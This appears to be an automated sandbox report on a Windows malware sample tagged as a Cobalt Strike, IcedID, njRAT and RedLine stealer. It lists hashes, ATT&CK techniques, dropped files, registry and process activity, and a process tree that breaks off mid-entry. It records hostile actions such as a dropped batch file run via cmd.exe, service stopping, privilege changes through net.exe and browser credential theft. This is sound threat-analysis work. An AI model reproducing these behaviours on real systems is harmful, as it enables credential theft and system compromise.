5736fd7e5c5dbee43e8e5e1d45239080cb1f1923c4059139ecca579165900c3b

Analysis

max time kernel
150s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/07/2026, 05:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
Size 6.1MB
Sample260722-gk66bsbb53
SHA256 5736fd7e5c5dbee43e8e5e1d45239080cb1f1923c4059139ecca579165900c3b
MD5 61277f4746df228448405c7c821f958e
SHA1 99f4773fe7c88da7acdfa95484f1ec4adacd983e
SHA512 628ed19c8cd65eaba35da3f50d97b10cdb7fd694bdab4b6596bee054a1403015b6a62d5b5093e5f047ef256d18b34c29465af8a87e20e780494add6d75d5a7d4
SSDEEP 49152:wabH/StugabH/LtuFI1TabH/btugabH/LtuFI1m/KCGZd0qgNEf16lhulJLirHJY:gAAI1sAAI1pWQtZ/K0tGOFWVRuLftCT
TLSH
T165566D13F6A440A9E09AD174DF359222AB327C694BF178DF328077D52E72AD07B38716
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution spyware stealer

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
2400	UpdatAuto.exe
1904	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
3112	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Option.bat	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Windows\SysWOW64\Option.bat	UpdatAuto.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	UpdatAuto.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javac.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdb.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jstat.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\dotnet\dotnet.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jhat.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jsadebugd.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jsadebugd.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\klist.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\idlj.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jar.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jcmd.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jconsole.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javadoc.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javafxpackager.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaws.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jhat.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jmap.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jjs.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jps.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jrunscript.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jstack.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\kinit.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\extcheck.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jar.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javafxpackager.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javapackager.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jcmd.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jmap.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jrunscript.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jstat.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javadoc.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jstack.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\kinit.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\setup.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jconsole.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdb.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdeps.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jjs.exe	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	UpdatAuto.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp\chrome_installer.log	chrmstp.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\metadata	chrmstp.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\settings.dat	chrmstp.exe
File opened for modification	C:\Windows\SystemTemp\chrome_installer.log	chrmstp.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\metadata	chrmstp.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\settings.dat	chrmstp.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5932	sc.exe
4304	sc.exe
4968	sc.exe
5576	sc.exe
2796	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3724	cmd.exe
464	cmd.exe
52	cmd.exe
3268	cmd.exe
5016	cmd.exe
4612	cmd.exe
4220	cmd.exe
1940	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UpdatAuto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2372	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134291731929164576"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3692	chrome.exe
3692	chrome.exe
3692	chrome.exe
3692	chrome.exe
3900	chrome.exe
3900	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs

pid	Process
3692	chrome.exe
3692	chrome.exe
3692	chrome.exe
3692	chrome.exe
3692	chrome.exe
3692	chrome.exe
3692	chrome.exe
3692	chrome.exe
3692	chrome.exe
3692	chrome.exe
3692	chrome.exe
3692	chrome.exe
3692	chrome.exe
3692	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe
Token: SeShutdownPrivilege	3692	chrome.exe
Token: SeCreatePagefilePrivilege	3692	chrome.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3692	chrome.exe
3692	chrome.exe
3692	chrome.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
2400	UpdatAuto.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1164 wrote to memory of 1940	1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe	89
PID 1164 wrote to memory of 2400	1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe	91
PID 2400 wrote to memory of 3724	2400	UpdatAuto.exe	92
PID 1164 wrote to memory of 1904	1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe	94
PID 1904 wrote to memory of 3112	1904	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe	95
PID 1904 wrote to memory of 3692	1904	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe	96
PID 1164 wrote to memory of 1364	1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe	97
PID 1164 wrote to memory of 4220	1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe	98
PID 1164 wrote to memory of 4612	1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe	99
PID 1164 wrote to memory of 464	1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe	100
PID 1164 wrote to memory of 5016	1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe	101
PID 1164 wrote to memory of 3268	1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe	102
PID 1164 wrote to memory of 52	1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe	103
PID 3692 wrote to memory of 2996	3692	chrome.exe	104
PID 1164 wrote to memory of 4304	1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe	112
PID 1164 wrote to memory of 5932	1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe	113
PID 1164 wrote to memory of 2796	1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe	114
PID 1164 wrote to memory of 5576	1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe	115
PID 1164 wrote to memory of 4968	1164	2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe	116
PID 3692 wrote to memory of 2372	3692	chrome.exe	122
PID 3692 wrote to memory of 888	3692	chrome.exe	124
PID 3692 wrote to memory of 888	3692	chrome.exe	124
PID 3692 wrote to memory of 2568	3692	chrome.exe	123
PID 3692 wrote to memory of 2568	3692	chrome.exe	123
PID 3692 wrote to memory of 5200	3692	chrome.exe	126
PID 3692 wrote to memory of 5884	3692	chrome.exe	127
PID 3692 wrote to memory of 5200	3692	chrome.exe	126
PID 3692 wrote to memory of 5884	3692	chrome.exe	127
PID 4220 wrote to memory of 2496	4220	cmd.exe	128
PID 464 wrote to memory of 2644	464	cmd.exe	129
PID 3692 wrote to memory of 3948	3692	chrome.exe	130
PID 3692 wrote to memory of 3948	3692	chrome.exe	130
PID 1364 wrote to memory of 2612	1364	cmd.exe	131
PID 4612 wrote to memory of 1876	4612	cmd.exe	132
PID 2496 wrote to memory of 940	2496	net.exe	133
PID 52 wrote to memory of 3472	52	cmd.exe	134
PID 2644 wrote to memory of 5380	2644	net.exe	135
PID 3268 wrote to memory of 5920	3268	cmd.exe	136
PID 1876 wrote to memory of 1708	1876	net.exe	137
PID 5016 wrote to memory of 2432	5016	cmd.exe	138
PID 5920 wrote to memory of 1416	5920	net.exe	139
PID 3472 wrote to memory of 1124	3472	net.exe	140
PID 2612 wrote to memory of 5960	2612	net.exe	141
PID 2432 wrote to memory of 3960	2432	net.exe	142
PID 3692 wrote to memory of 3532	3692	chrome.exe	143
PID 3692 wrote to memory of 3532	3692	chrome.exe	143
PID 3692 wrote to memory of 4428	3692	chrome.exe	145
PID 3692 wrote to memory of 4732	3692	chrome.exe	146
PID 3692 wrote to memory of 4596	3692	chrome.exe	147
PID 3692 wrote to memory of 4732	3692	chrome.exe	146
PID 3692 wrote to memory of 4596	3692	chrome.exe	147
PID 3692 wrote to memory of 1840	3692	chrome.exe	149
PID 1840 wrote to memory of 2368	1840	chrmstp.exe	151
PID 1840 wrote to memory of 4944	1840	chrmstp.exe	152
PID 4944 wrote to memory of 896	4944	chrmstp.exe	153
PID 3692 wrote to memory of 5976	3692	chrome.exe	155
PID 3692 wrote to memory of 5880	3692	chrome.exe	156
PID 3692 wrote to memory of 400	3692	chrome.exe	157
PID 3692 wrote to memory of 1372	3692	chrome.exe	158
PID 3692 wrote to memory of 5976	3692	chrome.exe	155
PID 3692 wrote to memory of 5880	3692	chrome.exe	156
PID 3692 wrote to memory of 400	3692	chrome.exe	157
PID 3692 wrote to memory of 1372	3692	chrome.exe	158
PID 3692 wrote to memory of 2468	3692	chrome.exe	159

C:\Users\Admin\AppData\Local\Temp\2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1164
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1940
- C:\Windows\SysWOW64\UpdatAuto.exe
  C:\Windows\system32\UpdatAuto.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3724
- C:\Users\Admin\AppData\Local\Temp\2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
  2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Users\Admin\AppData\Local\Temp\2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
